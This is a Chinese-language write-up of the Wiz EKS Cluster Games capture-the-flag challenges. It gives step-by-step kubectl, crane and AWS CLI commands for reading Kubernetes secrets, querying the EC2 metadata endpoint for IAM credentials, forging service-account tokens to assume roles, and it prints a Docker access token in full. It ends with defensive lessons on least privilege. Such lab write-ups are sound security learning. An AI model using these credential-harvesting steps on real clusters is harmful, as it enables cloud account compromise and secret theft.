本文主要是介绍云安全-wiz eks-cluster-games题解与思考,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
目录
- 题目1 Secret Seeker
- 题目2 Registry Hunt
- 题目3 Image Inquisition
- 题目4 Pod Break
- 题目5 Container Secrets Infrastructure
- 思考
- 权限不必提供
- secret使用时需要注意
- 镜像使用
- 云上配置
- 参考
题目1 Secret Seeker
可以看到有secrets的get和list权限
kubectl get secrets
kubectl get secrets log-rotate -o yaml
之后base64解码即可
题目2 Registry Hunt
可以看到有secrets的get和pods的list、get权限
由于没有secrets的list权限,我们需要先通过pods来确定secret的名称
kubectl get pods
kubectl get po database-pod-2c9b3a4e -o yaml
查看secret
kubectl get secret registry-pull-secrets-780bab1d -o yaml
之后发现题目的crane工具可以登录
crane auth login index.docker.io -u eksclustergames -p dckr_pat_YtncV-R85mG7m4lr45iYQj8FuCo
下载镜像层
crane pull eksclustergames/base_ext_image base_ext_image.tar
tar -xvf base_ext_image.tar
解压
tar -xvf 193bf7018861e9ee50a4dc330ec5305abeade134d33d27a78ece55bf4c779e06.tar.gz
最后再cat一下就行了
部分尝试
尝试了docker,发现这个节点没有
也无法安装
题目3 Image Inquisition
第二个单词是“盘问”的意思,看来要搞镜像了
可以看到有pods的list和get权限
kubectl get po
kubectl get po accounting-pod-876647f8 -o yaml
看了Hint #1
然后发现,正是我前段时间研究AWS EC2时的文章中写的SSRF安全问题
curl 169.254.169.254/latest/meta-data
查看iam临时凭据
curl 169.254.169.254/latest/meta-data/iam/security-credentials/eks-challenge-cluster-nodegroup-NodeInstanceRole
配置好aws cli后生成密码,并使用crane获取更多信息。
aws ecr get-login-password | crane auth login --username AWS --password-stdin 688655246681.dkr.ecr.us-west-1.amazonaws.com
crane config 688655246681.dkr.ecr.us-west-1.amazonaws.com/central_repo-aaf4a7c@sha256:7486d05d33ecb1c6e1c796d59f63a336cfa8f54a3cbc5abf162f533508dd8b01
ARTIFACTORY_TOKEN就是flag
部分尝试
进行了类似题目2的尝试,失败了,原因是没有权限
进行权限列表获取,失败了,原因是没有权限
题目4 Pod Break
可以看到没有权限了,那就只能通过sts了
aws eks help
生成token
aws eks get-token --cluster-name eks-challenge-cluster
获取secrets
kubectl get secrets --token k8s-aws-xxx
查看具体内容
kubectl get secrets node-flag --token k8s-aws-xxx -o yaml
部分尝试
验证权限,确实没有了
题目5 Container Secrets Infrastructure
{"Policy": {"Statement": [{"Action": ["s3:GetObject","s3:ListBucket"],"Effect": "Allow","Resource": ["arn:aws:s3:::challenge-flag-bucket-3ff1ae2","arn:aws:s3:::challenge-flag-bucket-3ff1ae2/flag"]}],"Version": "2012-10-17"}
}
允许列出和读取s3桶的对象,那应该就是flag对象了
{"Version": "2012-10-17","Statement": [{"Effect": "Allow","Principal": {"Federated": "arn:aws:iam::688655246681:oidc-provider/oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589"},"Action": "sts:AssumeRoleWithWebIdentity","Condition": {"StringEquals": {"oidc.eks.us-west-1.amazonaws.com/id/C062C207C8F50DE4EC24A372FF60E589:aud": "sts.amazonaws.com"}}}]
}
授权时做了限制,限制了audience和Federated
{"secrets": ["get","list"],"serviceaccounts": ["get","list"],"pods": ["get","list"],"serviceaccounts/token": ["create"]
}
可以列出或读取secrets/serviceaccounts/pods内容,可以创建serviceaccounts/token
实际上做了限制,只能给debug-sa这个创建token
aws cli没有s3权限,只能先看看eks集群有啥信息了
kubectl get sa
只有sa有东西,不理解,可能权限给多了
debug-sa应该也没用,description写了没有policy。
创建一个token试一下
kubectl create token debug-sa
解密发现和策略的限制能对的上,那看来其实是用debug-sa的
发现并不行,auience是不对的,翻到前面的限制发现audience必须sts.amazonaws.com
加上audience后终于成功了
切换后终于有s3权限了
部分尝试
尝试创建token,没有权限
思考
权限不必提供
攻击到集群,可以执行命令后,首先要做的就是查看权限,常用命令
kubectl auth can-i --list
secret使用时需要注意
base64编码不安全
镜像使用
注意镜像层是否有敏感信息,防止通过docker history等命令暴露;dockerconfig等镜像仓库配置需要保存好。
云上配置
注意RBAC、IAM policy等敏感配置,遵循最小权限原则。
参考
wiz-宣布EKS集群游戏
k8s学习-Secret(创建、使用、更新、删除等)
k8s-私有仓库拉取镜像
容器注册表工具-crane
云原生-AWS EC2使用、安全性及国内厂商对比
aws-cli
aws-ecr工具使用
如何获取凭据
aws-cli-sts
aws-cli-eks
aws-cli-s3
https://docs.aws.amazon.com/cli/latest/reference/sts/assume-role-with-web-identity.html?highlight=assumerolewithwebidentity
JSON Web Tokens (JWT) 在线解密
这篇关于云安全-wiz eks-cluster-games题解与思考的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!